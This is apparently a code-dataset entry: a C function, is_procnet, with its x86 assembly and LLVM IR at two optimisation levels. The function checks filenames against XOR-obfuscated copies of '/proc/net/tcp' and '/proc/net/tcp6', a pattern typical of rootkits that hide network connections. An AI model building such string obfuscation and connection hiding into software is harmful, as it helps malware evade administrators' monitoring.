#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ cleanup(char *, int /*<<< orphan*/);
scalar_t__ strcmp(char const *, char *);
char *strdup(char *);
int /*<<< orphan*/ strlen(char *);
int /*<<< orphan*/ x(char *);
int is_procnet(const char *filename) {
  ;
  char *proc_net_tcp =
      strdup("\xd1\x8e\x8c\x91\x9d\xd1\x90\x9b\x8a\xd1\x8a\x9d\x8e");
  char *proc_net_tcp6 =
      strdup("\xd1\x8e\x8c\x91\x9d\xd1\x90\x9b\x8a\xd1\x8a\x9d\x8e\xc8");
  x(proc_net_tcp);
  x(proc_net_tcp6);
  if (strcmp(filename, proc_net_tcp) == 0 ||
      strcmp(filename, proc_net_tcp6) == 0) {
    cleanup(proc_net_tcp, strlen(proc_net_tcp));
    cleanup(proc_net_tcp6, strlen(proc_net_tcp6));
    return 1;
  }
  cleanup(proc_net_tcp, strlen(proc_net_tcp));
  cleanup(proc_net_tcp6, strlen(proc_net_tcp6));
  return 0;
}


x86 assembly (clang, -O0):
<is_procnet>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
mov    %rdi,-0x10(%rbp)
lea    0xe9d(%rip),%rdi
call   1070 <strdup@plt>
mov    %rax,-0x18(%rbp)
lea    0xe9b(%rip),%rdi
call   1070 <strdup@plt>
mov    %rax,-0x20(%rbp)
mov    -0x18(%rbp),%rdi
call   1030 <x@plt>
mov    -0x20(%rbp),%rdi
call   1030 <x@plt>
mov    -0x10(%rbp),%rdi
mov    -0x18(%rbp),%rsi
call   1050 <strcmp@plt>
cmp    $0x0,%rax
je     11bc <is_procnet+0x6c>
mov    -0x10(%rbp),%rdi
mov    -0x20(%rbp),%rsi
call   1050 <strcmp@plt>
cmp    $0x0,%rax
jne    1200 <is_procnet+0xb0>
mov    -0x18(%rbp),%rax
mov    %rax,-0x30(%rbp)
mov    -0x18(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x30(%rbp),%rdi
mov    %eax,%esi
call   1060 <cleanup@plt>
mov    -0x20(%rbp),%rax
mov    %rax,-0x28(%rbp)
mov    -0x20(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x28(%rbp),%rdi
mov    %eax,%esi
call   1060 <cleanup@plt>
movl   $0x1,-0x4(%rbp)
jmp    123f <is_procnet+0xef>
mov    -0x18(%rbp),%rax
mov    %rax,-0x40(%rbp)
mov    -0x18(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x40(%rbp),%rdi
mov    %eax,%esi
call   1060 <cleanup@plt>
mov    -0x20(%rbp),%rax
mov    %rax,-0x38(%rbp)
mov    -0x20(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x38(%rbp),%rdi
mov    %eax,%esi
call   1060 <cleanup@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<is_procnet>:
push   %rbp
push   %r15
push   %r14
push   %rbx
push   %rax
mov    %rdi,%r15
lea    0xe9f(%rip),%rdi
call   1070 <strdup@plt>
mov    %rax,%rbx
lea    0xe9e(%rip),%rdi
call   1070 <strdup@plt>
mov    %rax,%r14
mov    %rbx,%rdi
call   1030 <x@plt>
mov    %r14,%rdi
call   1030 <x@plt>
mov    %r15,%rdi
mov    %rbx,%rsi
call   1050 <strcmp@plt>
test   %rax,%rax
je     11ae <is_procnet+0x5e>
mov    %r15,%rdi
mov    %r14,%rsi
call   1050 <strcmp@plt>
xor    %ebp,%ebp
test   %rax,%rax
sete   %bpl
jmp    11b3 <is_procnet+0x63>
mov    $0x1,%ebp
mov    %rbx,%rdi
call   1040 <strlen@plt>
mov    %rbx,%rdi
mov    %eax,%esi
call   1060 <cleanup@plt>
mov    %r14,%rdi
call   1040 <strlen@plt>
mov    %r14,%rdi
mov    %eax,%esi
call   1060 <cleanup@plt>
mov    %ebp,%eax
add    $0x8,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
@.str = [14 x i8] c"\D1\8E\8C\91\9D\D1\90\9B\8A\D1\8A\9D\8E\00"
@.str.1 = [15 x i8] c"\D1\8E\8C\91\9D\D1\90\9B\8A\D1\8A\9D\8E\C8\00"
define i32 @is_procnet(i8* %0) {
%2 = alloca i32
%3 = alloca i8*
%4 = alloca i8*
%5 = alloca i8*
store i8* %0, i8** %3
%6 = call i8* @strdup(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
store i8* %6, i8** %4
%7 = call i8* @strdup(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.1, i64 0, i64 0))
store i8* %7, i8** %5
%8 = load i8*, i8** %4
%9 = call i32 @x(i8* %8)
%10 = load i8*, i8** %5
%11 = call i32 @x(i8* %10)
%12 = load i8*, i8** %3
%13 = load i8*, i8** %4
%14 = call i64 @strcmp(i8* %12, i8* %13)
%15 = icmp eq i64 %14, 0
br i1 %15, label %21, label %16
16: ; preds = %1
%17 = load i8*, i8** %3
%18 = load i8*, i8** %5
%19 = call i64 @strcmp(i8* %17, i8* %18)
%20 = icmp eq i64 %19, 0
br i1 %20, label %21, label %30
21: ; preds = %16, %1
%22 = load i8*, i8** %4
%23 = load i8*, i8** %4
%24 = call i32 @strlen(i8* %23)
%25 = call i32 @cleanup(i8* %22, i32 %24)
%26 = load i8*, i8** %5
%27 = load i8*, i8** %5
%28 = call i32 @strlen(i8* %27)
%29 = call i32 @cleanup(i8* %26, i32 %28)
store i32 1, i32* %2
br label %39
30: ; preds = %16
%31 = load i8*, i8** %4
%32 = load i8*, i8** %4
%33 = call i32 @strlen(i8* %32)
%34 = call i32 @cleanup(i8* %31, i32 %33)
%35 = load i8*, i8** %5
%36 = load i8*, i8** %5
%37 = call i32 @strlen(i8* %36)
%38 = call i32 @cleanup(i8* %35, i32 %37)
store i32 0, i32* %2
br label %39
39: ; preds = %30, %21
%40 = load i32, i32* %2
ret i32 %40
}

LLVM IR (-O2):
@.str = [14 x i8] c"\D1\8E\8C\91\9D\D1\90\9B\8A\D1\8A\9D\8E\00"
@.str.1 = [15 x i8] c"\D1\8E\8C\91\9D\D1\90\9B\8A\D1\8A\9D\8E\C8\00"
define i32 @is_procnet(i8* %0) {
%2 = tail call dereferenceable_or_null(14) i8* @strdup(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
%3 = tail call dereferenceable_or_null(15) i8* @strdup(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.1, i64 0, i64 0))
%4 = tail call i32 @x(i8* %2)
%5 = tail call i32 @x(i8* %3)
%6 = tail call i64 @strcmp(i8* %0, i8* %2)
%7 = icmp eq i64 %6, 0
br i1 %7, label %12, label %8
8: ; preds = %1
%9 = tail call i64 @strcmp(i8* %0, i8* %3)
%10 = icmp eq i64 %9, 0
%11 = zext i1 %10 to i32
br label %12
12: ; preds = %8, %1
%13 = phi i32 [ 1, %1 ], [ %11, %8 ]
%14 = tail call i32 @strlen(i8* %2)
%15 = tail call i32 @cleanup(i8* %2, i32 %14)
%16 = tail call i32 @strlen(i8* %3)
%17 = tail call i32 @cleanup(i8* %3, i32 %16)
ret i32 %13
}